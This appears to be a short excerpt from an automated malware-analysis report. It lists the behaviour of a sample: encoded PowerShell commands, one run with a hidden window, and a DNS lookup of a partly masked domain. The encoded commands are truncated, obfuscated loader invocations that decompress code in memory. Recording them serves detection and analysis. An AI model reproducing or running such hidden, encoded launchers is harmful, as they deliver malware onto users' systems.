Technical Information
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e KABOAEUAdwAtAE8AQgBKAGUAYwB0ACAAaQBPAC4AYwBvAE0AcAByAEUAcwBTAEkATwBOAC4ARABFAEYAbABhAFQARQBTAHQAUgBFAEEAbQAoACAAWwBJAE8ALgBNAEUATQBPAFIAWQBTAFQAUgBlAEEAbQBdAFsAYwBvAE4AdgBlAHIAdABdADoAOgBmAF...
- DNS ASK oo###dnqwe.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e KABOAEUAdwAtAE8AQgBKAGUAYwB0ACAAaQBPAC4AYwBvAE0AcAByAEUAcwBTAEkATwBOAC4ARABFAEYAbABhAFQARQBTAHQAUgBFAEEAbQAoACAAWwBJAE8ALgBNAEUATQBPAFIAWQBTAFQAUgBlAEEAbQBdAFsAYwBvAE4AdgBlAHIAdABdADoAOgBmAF...' (with hidden window)